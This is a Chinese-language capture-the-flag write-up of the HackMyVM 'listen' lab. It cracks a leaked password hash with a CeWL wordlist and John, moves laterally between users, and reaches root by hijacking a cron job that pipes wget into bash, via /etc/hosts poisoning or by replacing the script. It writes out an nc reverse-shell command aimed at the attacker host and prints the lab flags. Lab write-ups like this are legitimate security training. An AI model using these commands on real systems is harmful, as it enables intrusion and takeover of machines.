主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# arp-scan -I eth1 -l

192.168.56.147  08:00:27:2a:db:7b       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.147`

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# nmap 192.168.56.147 -p-

PORT   STATE    SERVICE
22/tcp filtered ssh
80/tcp filtered http



┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# nmap 192.168.56.147

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

第一次看到两个filtered，还以为有问题，再扫了一遍，发现都open了，估计是像之前一样，需要敲击某一个端口，但是nmap -p-误打误撞的敲击了

80端口探测

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# curl 192.168.56.147
<pre>
<h1> Please Listen </h1>
When I ask you to listen to me
and you start giving me advice,
You have not done what I asked.

When I ask you to listen to me
and you begin to tell me why
I shouldnt feel that way,
you are trampling on my feelings.

When I ask you to listen to me
and you feel you have to do something
to solve my problem,
you have failed me,
strange as that may seem.
```

```
Listen! All I ask is that you listen.
Dont talk or do, just hear me…

And I can do for myself; I am not helpless.
Maybe discouraged and faltering,
but not helpless.

When you do something for me that I can and need to do for myself,
you contribute to my fear and
Inadequacy.

But when you accept as a simple fact
That I feel what I feel,
No matter how irrational,
Then I can stop trying to convince
You and get about this business
Of understanding whats behind
This irrational feeling.

And when thats clear, the answers are obvious and I dont need advice.
Irrational feelings make sense when
we understand whats behind them.

So please listen, and just hear me.
And if you want to talk, wait a minute
for your turn, and I will listen to you.

-Leo Buscaglia
</pre>


<!--
Leo please, stop using your poems as password!
leo:$6$GyxLtjMYaQWxRxfl$wOmjIXfmU1T8bac2HgweZmxgFjGSiX8kbPDWhJzAzFn.BFk9X9fPT6DH
Xlp.A3J5yA64qQJH6Iu4K4AW4THIw.:18551:0:99999:7:::
-->
```

有一个shadow格式的内容，有句不要用诗歌做密码了，那上面诗歌中有单词是对应的密码

爆破leo用户密码

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# cewl 192.168.56.147 > pass.txt

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# echo
"leo:\$6\$GyxLtjMYaQWxRxfl\$wOmjIXfmU1T8bac2HgweZmxgFjGSiX8kbPDWhJzAzFn.BFk9X9fP
T6DHXlp.A3J5yA64qQJH6Iu4K4AW4THIw.:18551:0:99999:7:::" > tmp

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# john tmp --wordlist=pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
```

```
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
contribute       (leo)
1g 0:00:00:00 DONE (2025-12-17 00:27) 5.555g/s 600.0p/s 600.0c/s 600.0C/s CeWL
6.2.1 (More Fixes) Robin Wood (robin@digi.ninja)
(https://digi.ninja/)..discouraged
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

成功拿到leo的密码 **/`leo:contribute`/**

To leo

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# ssh leo@192.168.56.147

leo@listen:~$ id
uid=1001(leo) gid=1001(leo) groups=1001(leo)
leo@listen:~$
```

To silence

查看家目录和当前用户目录

```
leo@listen:~$ ls -al /home
total 20
drwxr-xr-x  5 root    root    4096 Oct 16  2020 .
drwxr-xr-x 18 root    root    4096 Oct 16  2020 ..
drwxr-xr-x  2 leo     leo     4096 Oct 16  2020 leo
drwxr-xr-x  3 listen  listen  4096 Oct 16  2020 listen
drwxr-xr-x  3 silence silence 4096 Oct 16  2020 silence
leo@listen:~$ ls -al
total 44
drwxr-xr-x 2 leo  leo   4096 Oct 16  2020 .
drwxr-xr-x 5 root root  4096 Oct 16  2020 ..
-rw------- 1 leo  leo     12 Oct 16  2020 .bash_history
-rw-r--r-- 1 leo  leo    220 Oct 16  2020 .bash_logout
-rw-r--r-- 1 leo  leo   3526 Oct 16  2020 .bashrc
-rwsrws--- 1 root leo  16872 Oct 16  2020 poem
-rw-r--r-- 1 leo  leo    807 Oct 16  2020 .profile
```

发现有三个用户，当前用户有个SUID权限的文件poem

反编译查看poem文件

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[108]; // [rsp+10h] [rbp-70h] BYREF
  //为初始化n5880
  int n5880; // [rsp+7Ch] [rbp-4h]

  printf("Ask me:\n ");
  //赋值给v4
  __isoc99_scanf("%s", v4);
```

```
  //判断变量n5880是否等于5880
  if ( n5880 == 5880 )
  {
    setuid(0);
    setgid(0);
    system("/bin/bash");
  }
  else
  {
    puts("\nWhy");
  }
  return 0;
}
```

那就是利用溢出去覆盖变量n5880

看文件有没有开启保护

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# checksec --file=./poem
RELRO           STACK CANARY      NX            PIE             RPATH
RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No
RUNPATH   69 Symbols        No    0               1               ./poem
```

发现PIE是enable的

> PIE **Position Independent Executable（位置无关可执行文件）**
>
> - 原理
>
>   普通可执行文件（如 ELF 格式）的代码段、数据段在编译时会被分配固定的虚拟内存地址；而 PIE 编译的程序，加载到内存时其整体基址会被随机化（属于 ASLR 地址空间布局随机化的一部分）。
>
> - 作用
>
>   防御基于内存地址的攻击（如缓冲区溢出、ret2libc 等）—— 攻击者无法提前预测函数、系统调用的内存地址，大幅增加漏洞利用难度。
>
> - 编译与检测
>   - 编译时启用 PIE（GCC）：`gcc -fPIE -pie -o test test.c`
>   - 检测二进制文件是否开启 PIE：`readelf -h test | grep Type`，若输出包含 `DYN (Shared object file)` 则为 PIE 可执行文件（普通可执行文件为 `EXEC`）。
> - 攻防影响
>   - 防御侧：Linux 系统中许多系统程序默认开启 PIE，提升系统安全性。
>   - 攻击侧：需通过信息泄露（如泄露 libc 基址）、ROP 链构造等绕过 PIE 保护。

那不能利用栈溢出了

抓包

根据题目的意思，应该就是要抓包，但是我的环境或靶机有问题，导致我始终抓不到包

```
Knock me to port 1337
silence/listentome
```

会抓到这两条消息

To listen

```
leo@listen:~$ su - silence
Password:
silence@listen:~$ id
uid=1000(silence) gid=1000(silence)
groups=1000(silence),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev
),109(netdev)
```

查看文件

```
silence@listen:~$ cat note.txt
"listen" told me that if I listen, I will hear his password....
silence@listen:~$ cat listen.sh
#!/bin/sh
cat /home/listen/password.txt > /dev/pts/4
```

> `/dev/pts/4` 是 Linux 系统中的**伪终端（Pseudo Terminal）设备文件**，属于 `pts`（Pseudo Terminal Slave）设备，用于表示一个交互式的终端会话（比如 SSH 连接、终端窗口、反弹 Shell 等）。
>
> Linux 中终端分为两类：
>
> - **物理终端**（`/dev/tty1`-`/dev/tty6`）：直接连接硬件的控制台（按 `Ctrl+Alt+F1`-`F6` 切换）；
> - **伪终端**（`/dev/pts/N`）：虚拟终端，用于远程连接（SSH）、图形化终端（GNOME Terminal）、Shell 模拟（如反弹 Shell）等，`N` 是数字（如 4、5、6）。

所以开5个连接就好了，估计有个定时任务，等会最后连接的终端就会👇

```
┌──(root㉿xhh)-[~]
└─# ssh silence@192.168.56.147
Linux listen 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Dec 16 13:02:07 2025 from 192.168.56.247
silence@listen:~$ shhhhhh
shhhhhh
```

得到密码/`listen:shhhhhh`/

To root

```
silence@listen:~$ su - listen
Password:
listen@listen:~$ id
uid=1002(listen) gid=1002(listen) groups=1002(listen)
```

```
listen@listen:~$ cat listentome.sh
wget -O - -q http://listen/ihearyou.sh | bash
```

那一样，和上面那个一样是会定时执行

方式一：

有个域名解析，那看一下/etc/hosts文件

```
listen@listen:~$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       listen

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
listen@listen:~$ ls -al /etc/hosts
-rw-rw-r-- 1 root listen 186 Oct 16  2020 /etc/hosts
```

发现listen指向127.0.1.1，且/etc/hosts文件有写入权限

将127.0.1.1替换成攻击机IP，且攻击机上创建恶意ihearyou.sh后开启http服务👇

```
#靶机
listen@listen:~$ nano /etc/hosts
listen@listen:~$ cat /etc/hosts
127.0.0.1       localhost
192.168.56.247  listen

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
listen@listen:~$

#攻击机
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# echo "nc 192.168.56.247 6666 -e /bin/bash" > ihearyou.sh

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/listen]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.56.147 - - [17/Dec/2025 02:22:03] "GET /ihearyou.sh HTTP/1.1" 200 -
```

成功获取到恶意文件，此时新建一个终端去接收反弹shell

```
┌──(root㉿xhh)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.147] 40080
uid=0(root) gid=0(root) groups=0(root)
```

方式二：

由于listentome.sh脚本是在listen家目录下，虽然是root的文件，但是可以删除，自己创建同名的恶意文件

```
listen@listen:~$ echo "nc 192.168.56.247 6666 -e /bin/bash" > listentome.sh
listen@listen:~$ ls -la
total 36
drwxr-xr-x 3 listen listen 4096 Dec 16 13:27 .
drwxr-xr-x 5 root   root   4096 Oct 16  2020 ..
-rw-r--r-- 1 listen listen  220 Oct 16  2020 .bash_logout
-rw-r--r-- 1 listen listen 3526 Oct 16  2020 .bashrc
-rw-r--r-- 1 listen listen   36 Dec 16 13:27 listentome.sh
drwxr-xr-x 3 listen listen 4096 Oct 16  2020 .local
-rw------- 1 listen listen    8 Oct 16  2020 password.txt
-rw-r--r-- 1 listen listen  807 Oct 16  2020 .profile
-rw------- 1 listen listen   15 Oct 16  2020 user.txt
listen@listen:~$
```

```
┌──(root㉿xhh)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.147] 40156
uid=0(root) gid=0(root) groups=0(root)
```

也成功获得root权限

user.txt

```
listen@listen:~$ cat user.txt
HMVimlistening
```

root.txt

```
cat root.txt
HMVthxforlisten
```